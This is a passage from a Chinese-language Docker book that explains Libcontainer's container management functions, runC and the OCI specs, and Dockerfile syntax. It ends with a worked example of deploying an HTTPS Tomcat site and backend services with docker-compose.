2.暂停/恢复容器

暂停的意思就是让容器中的进程停止执行，即进入idle状态并在阻塞队列中等待，恢复则是重新把进程加入运行队列开始执行。这一特性是通过cgroup中的freezer子系统来实现的。

3.销毁容器

将该功能命名为销毁容器，是因为Libcontainer提供的API是Destroy（），对于runtime来说，把容器中的进程杀死，就相当于destroy了一个容器，但从Docker的角度来说，容器并没有销毁，只是执行Docker stop命令停止了容器。在Docker的容器管理中，该容器的rootfs以及其中修改的数据还是存在的，真正的销毁操作需要删除容器的rootfs，而这一操作显然完全是由Docker来做的，因为Libcontainer只负责runtime部分。

4.向容器发送信号

Libcontainer提供了可以向容器发送任意信号的接口，但该信号只是发送给了容器中的init进程。例如在需要强行停止容器的时候，就可以通过向容器中发送syscall.SIGKILL信号来实现。

5.获取容器信息（ID、进程、状态、配置等）

获取容器信息是最普遍的一个需求，为了满足各类需求，Libcontainer提供了6个接口，用于返回各类信息，包括：

·容器的ID。

·容器的运行状态（Running、Pausing、Paused等）。

·容器的state（包括容器ID、init进程pid、cgroup路径、namespace路径、Config信息等）。

·容器的配置信息（即Config信息）。

·容器中所有的进程pid。

·容器的Stats（主要包括资源状态信息，即Cgroup的状态信息）。

其中一些信息是重复的，主要是为了上层更便利地获取信息，所以针对不同的需要提供了各种不同的接口。

6.修改容器配置

该功能通过更新容器的Config信息，并使得更新后的配置在容器中生效，达到动态修改容器配置的目的。前面说过，Config中包含了运行容器所需的所有信息，所以该功能提供了很强大的控制能力，可以实现很强的容器动态修改功能，比如动态修改Cgroup的配置信息，动态修改主机名和rlimit信息等。但1.8版本的Docker还不支持这个功能。

7.Checkpoint/Restore容器

这是一个很酷的特性，作用是把一个运行时的容器checkpoint下来，这里checkpoint的字面意思是检查点，功能类似于在某一个点建立一个快照，把容器所有的状态信息都保存下来，其中包括容器运行时的内存信息、打开的文件描述符、持有的锁、网络连接信息等，而restore则是把刚才checkpoint下来的容器恢复运行。checkpoint会把这些状态信息根据不同的类型存储到不同的img格式的文件中，这些文件作为Linux上的普通文件是可以任意拷贝的，所以checkpoint/restore特性是容器热迁移的基础，有了这个特性，我们可以在一台主机上执行checkpoint，然后把check下来的文件拷贝到另一台主机（或者直接存放在共享存储上），并在另一台主机restore这些文件，这样就可以实现对这个容器的热迁移，因为恢复后的容器的所有状态信息跟之前是完全一样的。虽然该特性在1.8版本的Docker还不支持，但在可预见的未来，我们很快就可以使用这个很酷的特性了。

说明

本书将不对这些功能的实现一一做详细讲解，感兴趣的读者可以去查看Libcontainer的实现代码，并不复杂。

9.3　关于runC

在DockerCon 2015期间，Docker官方宣布成立了Linux Foundation下的一个开源组织OCI（Open Container Initiative），而runC就是Docker公司贡献给OCI的开源项目，其定位是OCI中的容器runtime工具。很多人已经知道，runC就是从Libcontainer演变而来的，而且在Docker的路标中，已经说明未来会使用runC替代Libcontainer作为容器的runtime工具。所以我们有必要对runC有一个细致而全面的了解。

9.3.1　runC和Libcontainer的关系

首先在项目的归属上，之前的Libcontainer是Docker公司控制的开源项目，而runC属于OCI，是Linux基金会旗下的开源项目，不受任何商业公司控制，这对于一个开源项目长期健康的发展有很重要的作用，这也是OCI成立的初衷。

另外，本章前面已经介绍过，Libcontainer虽然可以被称为是一个容器引擎，但它实际上并不是一个runtime管理工具，因为它算不上是一个工具，而是一个lib库。Docker对于Libcontainer的使用也是通过import Libcontainer的相关package，然后调用相应的接口来实现的。

而runC显然是一个runtime工具，因为有了Libcontainer这样的库，在上层封装command命令来调用Libcontainer提供的接口，实现起来是非常简单的。实际上Libcontainer本身就包含了一个叫nsinit的小工具，它提供nsinit命令来调用Libcontainer提供的接口，而runC恰恰就是通过这个nsinit改动得来的。所以在实现上runC跟Libcontainer非常相似，只是组织结构稍做了些改变，即把Libcontainer里带有的nsinit小工具，移到外面来，然后做了一些适配，并改名为runC。

说明

因为nsinit非常简单，功能有限，runC在从nsinit演变过来后，一直在对功能进行增强，现在的runC已经跟之前的nsinit很不一样了。

总的来说，从项目的角度看，Libcontainer和runC是两个不同的项目，之前Docker公司的Libcontainer项目依然存在，只是目前不再更新。而对于runC来说，只是目前在底层实现上用了Libcontainer的内容，未来对用户可见的只是runC，Libcontainer部分的功能将作为内部实现而对外不可见。

9.3.2　runC的工作原理

在了解了runC跟Libcontainer的关系后，对于runC的工作原理相信大家也不会有太大的疑问了，因为核心部分还是Libcontainer，所有对容器的操作和管理，依然是通过上文提到的Libcontainer提供的接口来实现的。唯一需要了解的，就是在我们介绍如何创建一个新的容器时，要明白Docker在调用Libcontainer的接口之前，所做的工作就是收集和整理运行一个容器所需要的数据。收集和整理的这些数据都放在Libcontainer提供的Config结构体中，这个结构体的信息会随着Libcontainer接口一起传到Libcontainer中，从而处理容器的运行操作。

那么runC应该从哪里获取这样的信息呢？事实上，runC使用了非常简单的方法，就是让用户把运行一个容器所需的所有信息放在一个JSON文件中，然后runC来读取这个JSON文件中的内容，并把内容填充到Libcontainer提供的Config文件中。简单地说，就是把之前通过Docker收集和整理的那些信息，手工填写到JSON文件中。

说明

运行一个容器所需的信息数据量很大，完全手工整理会非常复杂，runC提供了接口可以生成一个默认的配置信息，用户可以根据这个默认的配置来修改相应的内容。

我们看一下这个JSON文件中的内容（runC提供的标准JSON文件的内容很多，这里把具体字段的内容用xxx代替）：

{
"version": "pre-draft",
"platform": {xxx},
"process": {xxx},
"root": {xxx},
"hostname": "shell",
"mounts": [xxx],
"linux": {
"uidMapping": null,
"gidMapping": null,
"rlimits": null,
"systemProperties": null,
"resources": {xxx}
},
"namespaces": [xxx],
"capabilities": [xxx],
"devices": [xxx]
}
}

跟上文中贴出的Config结构体的字段几乎一致。

值得一提的是，OCI建立的初衷之一，就是希望可以在容器领域定义一些行业标准，避免不同的容器技术和上层管理工具彼此不兼容，或者各自建立自己的标准，不利于容器技术本身和相关开源项目的长期发展。而容器领域最重要的标准之一，就是容器的runtime格式，简单地说就是类似于上文提到的Libcontainer提供的Config结构，即包含了运行一个完整的容器所需的所有信息，以及这些信息的组织方式。runC中提供的JSON文件也是其中的一种表现形式。

目前已经有了这样的一个制定标准的项目[specs]（https://github.com/opencontainers/specs），该开源项目也在OCI下面，其目标是制定一个标准的容器格式，即一个容器必须包含的信息，以及这些信息的组织形式。一旦specs制定完成，成为了容器的标准，那么runC中对容器所需数据的描述，就会转移到specs提供的数据结构中了。

9.3.3　runC的未来

specs作为runC未来必须遵循的规范，也非常值得关注。实际上specs作为一个标准，其范围一定不会局限在runtime上，也一定不会局限在某一个平台。下面来看一下目前specs项目的文件组织：

qhuang@ubuntu-25:~/specs$ ls
bundle.md  config_linux.go  config.md   LICENSE  runtime_config.go
runtime-config-linux.md  runtime.md  config.go  config-linux.md
implementations.md  README.md  runtime_config_linux.go  runtime-config.md
version.go

可见specs已经包括基本config、Linux平台的config、runtime的config、Linux平台的runtime config等。相信未来除了支持更多的平台，也会在内容上有很多的补充，比如加入对容器镜像的格式标准等。同时在config和runtime config上，也一定会不断丰富和完善。

对于runC的未来，可以预见的是，在specs正式完成标准的制定后，runC一定会第一时间成为支持OCI specs标准的容器工具。另外，上文提到过Docker未来会直接使用runC来代替对Libcontainer库的使用，那么runC必须完全继承Libcontainer提供的功能。目前runC的命令还非常有限，需要不断地完善功能，才能正式替换Libcontainer在Docker中的位置。

未来值得期待的另一项是，作为Linux基金会旗下的开源项目，runC在具备完备的功能性和易用性后，很可能会得到更多人的青睐。对于一些不需要Docker庞大能力的项目，很可能会直接使用runC来管理容器。目前对于Libcontainer来说，似乎还没有除了Docker以外的公开用户，希望未来的runC可以改变这一现状。

9.4　本章小结

Libcontainer作为Docker底层的容器引擎，实现了Docker对容器的最核心需求。对Libcontainer的了解，可以帮助用户更好地理解Docker和容器技术的结合。另外，Libcontainer作为一个独立的开源项目，跟Docker的耦合性很低，所以本书作为介绍Docker的书籍，没有对Libcontainer展开更多的篇幅做细致的介绍，希望通过这些有限的内容，可以为读者解决一些疑惑。

第10章　Docker实战

和前些章节不同，本章将介绍Docker的项目开发流程，重在应用和实例。在开始本节内容之前，首先来了解一下Docker镜像的开发过程，如图10-1所示。

图10-1　Docker镜像开发流程

从前些章节已知道，Docker Hub是用来存储Docker镜像的，Docker本地开发环境是用来开发镜像的。通常的开发流程是先从Docker Hub中获取到基础镜像，之后在这个镜像的基础上做开发以满足一定的需求或提供某种服务，并由此产生新的镜像，然后就可以push到Docker Hub中，且本地无需保留镜像的备份（相关的源码、Dockerfile还是需要留的），这样开发工作就完成了。部署的时候直接将开发好的镜像pull下来，然后使用docker run命令部署，或者借助其他部署工具（比如docker-compose）。

本章首先会介绍Dockerfile的基本知识和语法，毕竟容器的构建是离不开Dockerfile的。然后会创建一个基于Web服务器的工程，并为该Web前端挂上后端服务器，后端由几个独立的模块组成。在该工程中，每个模块都会是一个镜像，这些镜像协同工作，通过REST API通信，相互独立，共同完成一个Web站点前台和后台工作。该工程使用docker-compose同时管理几个容器，是Docker容器管理的典型范例。

10.1　Dockerfile简介

下面先来探讨Dockerfile的构成和语法。通过本节的学习，读者可以轻松地写出自己需求的Dockerfile。本节由浅入深，由一个简单例子开始，由浅入深地介绍Dockerfile的各种命令，不会觉得难以入手。

10.1.1　一个简单的例子

Dockerfile的注释都是以“#”开始的，每一行是一个指令。一般情况下，Dockerfile由4部分组成：基础镜像信息、维护者信息、镜像操作指令和容器启动指令。下面是一个Nginx服务镜像Dockerfile文件的内容：

# This Dockerfile uses the ubuntu image
# VERSION 2 - EDITION 1
# Author: tester
# Command format: Instruction [arguments / command] ..
# Base image to use, this must be set as the first line
FROM ubuntu
# Maintainer: tester  < tester at email.com> (@docker_user)
MAINTAINER tester tester@huawei.com
# Commands to update the image
RUN echo "deb http://archive.ubuntu.com/ubuntu/ raring main universe" >> /etc/apt/sources.list
RUN apt-get update && apt-get install -y nginx
RUN echo “\ndaemon off;” >> /etc/nginx/nginx.conf
# Commands when creating a new container
CMD /usr/sbin/nginx

需要说明的是，如果使用Dockerfile来构建镜像，Dockerfile的第一条有效信息（注释除外）必须是基础镜像信息，维护者信息紧随其后。而镜像操作指令则在维护者信息之后，因为操作指令的不同，自然就会构建出千差万别的镜像来。最后是镜像启动指令，它被用作设置镜像的默认启动命令。

10.1.2　Dockerfile指令

从上面例子中的“FROM ubuntu”、“RUN echo“\ndaemon off；”>>/etc/nginx/nginx.conf”等语句不难看出，Dockerfile指令的一般格式为INSTRUCTION arguments，而这些指令包括FROM、MAINTAINER、RUN等。下面将把最为常用的几个指令介绍下：

·FROM指令

格式为FROM<image>或FROM<image>：<tag>。

Dockerfile的第一条必须是FROM指令，用来指定要制作的镜像继承自哪个镜像。需要说明的是，可以在Dockerfile中写多个FROM指令来构建复杂的镜像。

·MAINTAINER指令

格式为MAINTAINER<name>。

用来指定维护者信息。

·RUN指令

格式为RUN<command>或RUN["executable"，"param1"，"param2"...]。

该指令是用来执行shell命令的，当解析Dockerfile时，遇到RUN指令，Docker会将该指令翻译为“/bin/sh–c“xxx””，其中xxx为RUN后边的Shell命令。

·EXPOSE指令

格式为EXPOSE<port>[<port>...]。

该指令用来将容器中的端口号暴露出来，也可以通过“docker run–p”命令实现和服务器端口的映射。

·CMD指令

该指令有三种格式：

CMD["executable"，"param1"，"param2"]使用exec执行，推荐方式；

CMD command param1 param2在/bin/sh中执行，提供给需要交互的应用；

CMD["param1"，"param2"]提供给ENTRYPOINT的默认参数。

指定启动容器时执行的命令，每个Dockerfile只能有一条CMD指令。如果指定了多条CMD指令，只有最后一条会被执行。值得说明的是，如果用户启动容器时指定了运行的命令，则会覆盖掉CMD指定的命令。

·ENTRYPOINT指令

该指令有两种格式：

ENTRYPOINT["executable"，"param1"，"param2"]

ENTRYPOINT command param1 param2（Shell中执行）。

每个Dockerfile中只能有一个ENTRYPOINT，当指定多个时，只有最后一个有效。

·VOLUME指令

格式为VOLUME["/data"]。

创建一个可以从本地主机或其他容器挂载的挂载点，一般用来存放数据库或需要永久保存的数据。如果和host共享目录，Dockerfile中必须先创建一个挂载点，然后在启动容器的时候通过“docker run–v$HOSTPATH：$CONTAINERPATH”来挂载，其中CONTAINERPATH就是创建的挂载点。

·ENV指令

格式为ENV<key><value>。

指定一个环境变量，会被后续RUN指令使用，并在容器运行时保持。

·ADD指令

格式为ADD<src><dest>。

该指令将复制指定的<src>到容器中的<dest>。其中<src>可以是Dockerfile所在目录的一个相对路径；也可以是一个URL；还可以是一个tar文件（自动解压为目录）。

·COPY指令

格式为COPY<src><dest>。

复制本地主机的<src>（为Dockerfile所在目录的相对路径）到容器中的<dest>。当使用本地目录为源目录时，推荐使用COPY。

10.1.3　再谈Docker镜像制作

使用docker build命令并给定一个Dockerfile可以制作一个镜像（详见docker build命令），那么Docker是怎么把这个镜像制作出来的呢？因为本书的读者可能并不是Docker开发者或阅读过Docker源码的人，所以本节就抛开源码以实例的方式将Docker制作镜像的过程简单地呈现出来。也希望读者能够多动手，用实验的方式来探究Docker的原理。

首先要准备一个基础镜像比如busybox：latest，这个镜像可以从官方pull下来。然后写一个简单的Dockerfile，如下：

# This Dockerfile uses the busybox image
# VERSION 1 - EDITION 1
# Author: tester
FROM  busybox:latest
RUN  date;sleep 100;date
RUN  echo "abc" > /mytest
RUN  date;sleep 100;date
CMD  /bin/sh

现在用build命令去制作镜像，名称为busybox：v1，如下：

$ docker build -t busybox:v1 .

当Docker正在制作这个镜像时，我们可以通过docker ps看下到底发生了什么：

$ docker ps
CONTAINER ID    IMAGE        COMMAND    CREATED   STATUS       PORTS     NAMES
c5db3d7ca9b9       d57d38e51fb32b790a1e65c32e639f1515a528d3f568cdae05067d057acb8817   "/bin/sh -c 'date;sl   9 seconds ago       Up 8 seconds       mad_yalow

从中可以看到，在镜像制作的时候，Docker会启动一个容器，并在该容器里制作这个镜像。接下来通过docker exec命令进到容器中看看到底发生了什么：

$ docker exec -ti c5db3d7ca9b9 sh
root@c5db3d7ca9b9:/ # ps -ef
PID   USER     COMMAND
1 root     /bin/sh -c date;sleep 100;date
6 root     sleep 100
16 root     sh
21 root     ps -ef

从上边的命令中可以看到，Docker制作镜像的RUN命令都是在容器中执行的。如果我们等上100秒，不停的ps，就会按顺序抓到RUN的每一条命令。

从上面可以看出，Docker在制作镜像的时候，其操作顺序为：

·解析Dockerfile，并找到基础镜像（可能会从Docker Hub上下载）；

·以基础镜像为基础创建一个容器；

·在容器中顺序执行Dockerfile中的命令；

·如果不是RUN命令，比如ENV命令，记录下来以便启动的时候执行；

·属性命令记录在Image的属性中；

·所有指令执行完后，commit该容器为新的镜像。

当然这里说的几个步骤，只是简单地阐述了镜像制作的过程，其实中间涉及很多复杂操作，比如镜像分层存储、创建挂载点、暴露端口号等就不详细阐述了。有兴趣的读者，可以去阅读相关源码。

10.2　基于Docker的Web应用和发布

到这里，相信大家对Docker已经有了一定的认识。本节以实战为主，将以Docker部署一个HTTPS的Web站点为例，为大家展示支持Docker的开发流程。我们将把一个Web工程项目部署为一个以Tomcat为服务器的支持HTTPS的Web站点。其原理和在普通服务器上部署类似，只需要将自己开发的软件包放到Tomcat工程目录下即可。不同的是，Tomcat服务器要在容器中启动，相应的工程源码也要导入到容器中。

10.2.1　选择基础镜像

部署一个Web站点，其实有很多选择，比如使用Nginx、Apache等，这里以Tomcat为例。首先需要从镜像库中选择Tomcat的基础镜像，如果没有自己的镜像库，可以从Docker Hub中获取。Docker Hub为我们提供了丰富的版本，包括不同的JRE版本：

$ docker images | grep tomcat
tomcat       8-jre7        71093fb71661       6 days ago         347.7 MB
tomcat       7-jre8        4dcef5c50d60       6 days ago         494.3 MB
tomcat       7.0.63-jre8   4dcef5c50d60       6 days ago         494.3 MB
tomcat       7.0-jre8      dcef5c50d60        6 days ago         494.3 MB
tomcat       7.0-jre7      f1fb45bb5af9       6 days ago         348.2 MB
tomcat       7             f1fb45bb5af9       6 days ago         348.2 MB
tomcat       7.0.63        f1fb45bb5af9       6 days ago         348.2 MB
tomcat       7-jre7        f1fb45bb5af9       6 days ago         348.2 MB
tomcat       7.0.63-jre7   f1fb45bb5af9       6 days ago         348.2 MB
tomcat       7.0           f1fb45bb5af9       6 days ago         348.2 MB
tomcat       6.0.44-jre8   221207f53791       6 days ago         491.9 MB
tomcat       6.0-jre8      21207f53791        6 days ago         491.9 MB
tomcat       6-jre8        221207f53791       6 days ago         491.9 MB
tomcat       6-jre7        8c4e1a4ca737       6 days ago         345.8 MB
tomcat       6.0.44-jre7   8c4e1a4ca737       6 days ago         345.8 MB
tomcat       6.0.44        8c4e1a4ca737       6 days ago         345.8 MB
tomcat       6.0           8c4e1a4ca737       6 days ago         345.8 MB
tomcat       6.0-jre7      8c4e1a4ca737       6 days ago         345.8 MB
tomcat       6             8c4e1a4ca737       6 days ago         345.8 MB
tomcat       7.0.62-jre8   55f2cc1815fa       4 weeks ago        494.5 MB
tomcat       7.0.62        611a2cc9d3d0       4 weeks ago        348.4 MB
tomcat       7.0.62-jre7   611a2cc9d3d0       4 weeks ago        348.4 MB
tomcat       7.0.61-jre7   1e8d1fcedf1f       11 weeks ago       349.7 MB
tomcat       7.0.61        1e8d1fcedf1f       11 weeks ago       349.7 MB
tomcat       6.0.43-jre7   1e36cc8da5d2       11 weeks ago       347.3 MB
tomcat       6.0.43        1e36cc8da5d2       11 weeks ago       347.3 MB
tomcat       7.0.61-jre8   9e11bd76affb       11 weeks ago       496.4 MB
tomcat       6.0.43-jre8   b8d56384a231       11 weeks ago       494 MB
tomcat       7.0.59-jre8   c54c272df5dc       3 months ago       493.1 MB
tomcat       7.0.59        93f4bcb2ca91       3 months ago       346.1 MB
tomcat       7.0.59-jre7   93f4bcb2ca91       3 months ago       346.1 MB

这里选择Tomcat 7.0-jre8版本，并在本地将这个镜像pull下来：

$ docker pull tomcat:7.0-jre8

或者

$ docker pull –a tomcat

提示

后者会把Tomcat的所有版本都pull下来，笔者就是通过pull–a参数把所有tomcat镜像拉到本地的。

10.2.2　制作HTTPS服务器镜像

默认的基础镜像提供的是HTTP服务，我们需要部署的是一个HTTPS Web站点，所以第一步是要让HTTP的Tomcat基础镜像支持HTTPS。我们知道，HTTPS是需要证书的，因为本书的重点不是介绍HTTPS或者Web安全，所以这里只是简单给出生成证书的方法，以及在容器中如何使用这些证书。

1.生成HTTPS需要的证书

下面是生成SSL证书的方法，供读者参考。

$ mkdir ssl
$ cd ssl/
$ keytool -genkey -alias tomcat -keyalg RSA -keystore tomcat.keystore
Enter keystore password:
Re-enter new password:
What is your first and last name?
[Unknown]:  Tester
What is the name of your organizational unit?
[Unknown]:  Huawei
What is the name of your organization?
[Unknown]:  Huawei
What is the name of your City or Locality?
[Unknown]:  Hangzhou
What is the name of your State or Province?
[Unknown]:  Zhejiang
What is the two-letter country code for this unit?
[Unknown]:  CN
Is CN=Tester, OU=Huawei, O=Huawei, L=Hangzhou, ST=Zhejiang, C=CN correct?
[no]:  yes
Enter key password for <tomcat>
(RETURN if same as keystore password):
Re-enter new password:
root@ubuntu:~/work/ssl# ls
tomcat.keystore

这样，就生成了一个SSL证书，并保存在了tomcat.keystore里。接下来可以将证书导入到镜像中。

2.把证书导入镜像中

将一个文件导入镜像中有很多种方式，这里先介绍一种最简单的，也是最实用的方式（后续章节会介绍其他导入方式），如下。

$ docker run -ti -v $(pwd):/tmp tomcat:7.0-jre8 bash
root@887a6ec5aeec:/usr/local/tomcat# ls
LICENSE  NOTICE  RELEASE-NOTES  RUNNING.txt  bin  conf  lib  logs  temp  webapps  work
root@887a6ec5aeec:/usr/local/tomcat# ls /tmp/
tomcat.keystore
root@887a6ec5aeec:/usr/local/tomcat# mkdir keys
root@887a6ec5aeec:/usr/local/tomcat# cp /tmp/tomcat.keystore keys/
root@887a6ec5aeec:/usr/local/tomcat#

docker run–v参数可以将host的目录动态挂载到容器中的某一路径上，本例中通过-v将当前目录挂载到容器中的/tmp目录，从而达到目录共享的目的，实现文件从服务器到容器的复制。

3.修改Tomcat的配置并commit

下面修改端口号为8080的Tomcat配置项，Tomcat的默认配置文件存在/usr/local/tomcat/conf/server.xml里，相信使用过Tomcat的读者对此并不陌生。

<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443"
SSLEnabled="true" scheme="https" secure="true" clientAuth="false" keystoreFile="/usr/local/tomcat/keys/tomcat.keystore" keystorePass="test" sslProtocol= "TLS"/>

修改完毕后，可以commit这个容器了，命令如下：

$ docker ps –a
CONTAINER ID     IMAGE      COMMAND    CREATED      STATUS     PORTS     NAMES
50f2c2d7e873 official/tomcat: 7.0-jre8 "bash" 10 minutes ago   Up  8080/tcp  condescending_brown
$ docker commit 50f2c2d7e873  tomcat:https
d798c341b5d01c8e6beb860ac3ccb766d2de98c3c8758c916791b7d8dfee86e5

提示

这里只是告诉读者如何对于镜像进行简单的修改，对于改造相对较大的情况，不建议使用这种方式，应该使用Dockerfile来构建新的镜像。下面的例子全部都是使用Dockerfile来构建新镜像的。

4.验证基础镜像

要想验证基础镜像是否能正常工作，只需要运行起来，看看Tomcat首页是否能正常打开即可，命令如下：

$ docker run –p 80:8080  tomcat:https

在上面的命令中，-p参数表示端口映射，80：8080表示将host主机上的80端口映射到容器中的8080端口，这里两者之所以不一样是为了让读者区分开这两个端口，实际上，也可以是8080：8080。

当docker run命令不加任何启动命令的时候，默认执行容器的ENTRYPOINT或CMD指令所指定的命令，该命令是在镜像制作的时候指定的（详见10.1.2节Dockerfile指令相关内容）。所以建议在制作镜像的时候，为服务性镜像提供默认的启动命令。

另外证书是我们自己生成的，所以浏览器会提示不安全，此时只需点击继续访问即可，真正部署上线时，可以购买专门的证书。

好了，服务起来了，我们可以通过Web访问了，如图10-2所示，Tomcat服务器已经完全启动成功。

这样一个基于HTTPS的Tomcat服务器就可以工作了，是不是很容易？之所以容易，是因为基础镜像为我们做了很多事情：首先我们不需要自己去编译安装一个Tomcat应用，只需要选择一个基础镜像。其次这个镜像默认的启动命令就是启动Tomcat，因此我们无需关心Tomcat细节，当然了，有关Web服务器软件的相关知识，还是需要多少懂一些的。

提示

如果公司内部有Registry服务器，可以将这些基础镜像积累下来，方便日后重复利用。当然也可以注册Docker官方的Docker Hub，使用Docker Hub存储。

图10-2　Tomcat服务成功部署

10.2.3　将Web源码导入Tomcat镜像中

在上一节，通过commit命令已经成功地将证书导入镜像中，本节将继续使用上例，这里会把开发的Web源码导入镜像中。实际上，将文件导入镜像中有很多方式，本节将介绍更通用、更便于开发的Dockerfile方式来导入文件。

总体上讲，将源码导入镜像中有两种思路，一种是静态导入，就是将host主机上的源码拷贝一份到镜像中；还有一种可以动态地将host主机上的源码目录挂载到镜像中。下面分别看看这两种方式。

1.静态导入

静态导入就是将文件复制一份到镜像中，它是在制作镜像的时候完成的。这样在容器启动后容器中的文件和服务器上的文件就无关联了。下面一起看看如何实现静态导入文件到镜像中。

这个例子中，需要把Web源码导入到镜像中。假如源码放在工程目录的websrc下，并在当前目录创建了一个Dockerfile，其内容如下：

# this Dockerfile is used to build HTTP Web Image.
FROM  tomcat:https
MAINTAINER   Tom <tom@ test.com>
COPY   ./websrc  /usr/local/tomcat/webapps/myproj/

基础镜像将Tomcat安装到了/usr/local/tomcat下，所以我们需要把源码拷贝到webapps下面，然后制作镜像：

$ docker build  -t myweb:v1 .

下面的命令用于检测镜像制作完成情况。

$ docker images
REPOSITORY     TAG        IMAGE ID          CREATED        VIRTUAL SIZE
myweb            v1        4986bf8c1536   7 mimutes ago      509.8 MB

2.动态挂载

与静态导入不同，动态挂载的方式实际上是把服务器上的文件动态地挂载到容器中。这就意味着这个操作不能单独地在制作镜像的过程中完成，首先它需要在制作镜像时创建一个挂载点，然后在启动镜像时把文件动态挂载到容器中。

还是以前面的例子为例，现在用动态挂载的方式再做一遍。首先是制作镜像：

# This Dockerfile will use dynamic VOLUME to mount the Host SRC code
# to container.
FROM  tomcat:https
MAINTAINER   Wentao <wentao@huawei.com>
RUN mkdir –p /usr/local/tomcat/webapps/myproj
VOLUME /usr/local/tomcat/webapps/myproj

从上面的代码可以看出，VOLUME命令就是在镜像中创建了一个挂载点（命令介绍参考10.1.2节的Dockerfile指令），当执行docker run命令时，源码会动态地挂载到容器中。

$ docker run -ti –v $(pwd)/websrc:/usr/local/tomcat/webapps/myproj  myweb:v1

这种方式也可以将Web部署成功，读者可以自行检验。

总结一下，静态导入和动态挂载各有优缺点。在制作镜像的时候，静态导入法会直接将文件导入到镜像中，干净利索，镜像独立，无论在什么地方只要有Docker环境就可以运行部署成功。但是如果需要频繁地修改文件，就很不方便；而在动态挂载的方式中，host和容器会共享一份源码，在开发阶段，可以使用这种方式，此时若发现问题，可随时修改host上的文件，修改后容器中立即生效，省去了镜像制作的过程，提高了调试效率。

提示

可以在工程目录下创建两个Dockerfile，一个用于发布版本，此时采用静态导入的方式；另一个用于调试，使用动态挂载的方式。编译的时候可以通过docker build的-f选项指定需要的Dockerfile。

10.2.4　部署与验证

镜像制作成功后，就可以部署这个容器应用了。

$ docker run  -ti –p 80:8080  myweb:v1

当然如果是动态挂载的，还需要加上-v参数。如果以上步骤部署成功，则可以通过Chrome等浏览器访问该站点了。

提示

对于Tomcat中server.xml的配置，这里配的是8080端口，如果读者想用其他端口，可自行修改。

10.3　为Web站点添加后台服务

在后续章节会介绍docker-compose工具，使用docker-compose可以轻松地管理多个容器，各个容器可完成不同的任务和功能。这里还是以Web站点为例来进行说明，一个Web站点是不可能没有后台服务的。假如我们的Web站点挂了三个后台服务：

·后台Service（bkservice）

·认证服务器（auth）

·MySQL数据库（MySQL）

其中后台Service是用来为Web站点服务的，具体功能由Web的功能而定。认证服务器是为了解耦用户认证的服务器，两者通过发送HTTP请求API达到认证鉴权的目的。MySQL是数据库，是bkservice下挂的数据库。其中每个模块都是独立的，在本工程中，我们会将每个模块都制作成一个镜像。下面看看整体工程框架，如图10-3所示。

图10-3　Docker实战工程模块

浏览器和前端交互，普通的前端请求均由Tomcat服务器响应（比如请求Web、显示控件等）。但是需要后台协作的API则会转发到后台，也就是转发给bkservice模块。当然bkservice模块每次收到HTTP请求后，需要发送API到auth模块，从而验证用户的身份以排除非法用户。验证通过后，bkservice需要将用户操作、资源等数据存储到MySQL的数据库中。

因为本书是介绍Docker的，所以Web前端或后台服务器开发相关的内容不会详述，且这个项目只是设计了简单的用例场景，并未真正实现具体功能，仅展示了框架而己。

10.3.1　代码组织结构

从图10-3可以看到，至少有四个功能是非常独立的模块，这些模块可以不用关心对方在什么地方、什么环境、以什么样的方式运行，只要能提供接口API就可以一起工作。从组织结构上讲，它们彼此也是独立的。若按照传统的开发部署模式，须将不同的模块分给不同的组，然后各自为战，开发源码。同样，部署的时候，也会各自维护各自的环境、部署各自的服务，导致部署、维护成本的增加。

如果把各个服务做成Docker镜像，并用docker-compose工具来管理工程，就会大大简化工作。首先，将每个服务都制作成镜像，这样各个服务所依赖的环境就会被封装在镜像中（这点开发人员可以保证，无需部署工程师关注太多），host上只需要能跑Docker即可。其次，还可以使用docker-compose工具，来简单地一次部署多个镜像服务。下面是笔者做的工程目录结构：

$ tree .├── build.sh├── docker-compose.yml├── keys│    ├── server.xml│    └── tomcat.keystore├── misc│    ├── auth│    │    ├── Dockerfile│    ├── bkservice│    │    ├── Dockerfile│    │    └── src│    └── webui│      ├── Dockerfile│      └── src├── release.sh└── scripts

说明：

·build.sh：表示编译使用脚本程序。

·docker-compose.yml：此文件是docker-compose的配置文件。

·keys：此文件夹存放用于HTTPS的证书文件，每次制作镜像，都会将证书拷贝到Tomcat镜像中。

·misc：镜像目录，每个镜像有个单独目录，用于制作镜像。

·auth：认证模块，使用目录下Dockerfile制作auth镜像。

·bkservice：后台服务，源码在src目录下。

·webui：前台UI制作镜像目录，src目录为源码（可选，或者可以在Dockerfile里的git clone下载源码，然后编译源码把输出二进制放在镜像中）。

·release.sh：版本发布时执行的脚本。

·scripts：工程中需要的一些工具脚本。

下面来看下docker-compose.yml文件：

$ cat docker-compose.yml
dockerui:
build: misc/webui
volumes:
- ./keys:/usr/local/tomcat/keys
links:
- dockerbkservice:dockerbkservice
ports:
- 8080:8080
restart: always
dockerbkservice:
build: misc/dockerui
links:
- dockerauth:dockerauth
- dockersql:dockersql
volumes:
- ./config.yml:/usr/local/bkservice/config.yml
ports:
- "9090:9090"
environment:
- MACHINE_CLIENT_CERT_PATH=/root/.docker/machine/certs
dockerauth:
build: misc/auth
environment:
- no_proxy=127.0.0.1
volumes:
- misc/dockerauth/app.conf:/conf/app.conf
dockersql:
image: mysql:v1.0

这里以dockerbkservice为例进行说明，如下：

·dockerbkservice：顶级标签，表示一个镜像。

·build：是指编译构建的时候（docker-compose build）会去哪个目录构建这个镜像。

·links：指定与其他容器的连接，可以使本容器以域名的方式访问另一个容器。

·volumes：将host主机上的某个路径（文件），挂载到容器中的某个路径（文件）。

·ports：将host的端口映射到容器中的某个端口。

·environment：设置一个环境变量。

从上面不难推测出，其实docker-compose工具做的工作相当于解析配置文件，之后按照配置文件的配置项去执行Docker命令。这里的四个镜像容器均由docker-compose管理。

提示

如果觉得将不同的模块放在同一个工程下进行版本控制和管理不方便，可以对各模块分别进行管理。比如auth模块，可以作为一个单独的工程，等调试或者部署的时候，在misc/auth/Dockerfile里通过版本控制工具将代码下载下来，然后编译运行。以Git为例，即为在Dockerfile添加“RUN git clone git@test/auth.git-b develop；RUN cd auth/；make”命令。

10.3.2　组件镜像制作过程

前一节介绍了整个工程的组织结构，下面来看看每个模块是怎么制作镜像的，因为镜像制作的过程大同小异，这里以UI工程为例，解析下Web制作过程。

首先看下制作Web镜像的Dockerfile，该文件放在<project>/misc/webui/下。

$ cat misc/webui/Dockerfile
FROM tomcat:https
MAINTAINER Wentao Zhang <zhangwentao234@huawei.com>
ENV no_proxy  dockerbuild
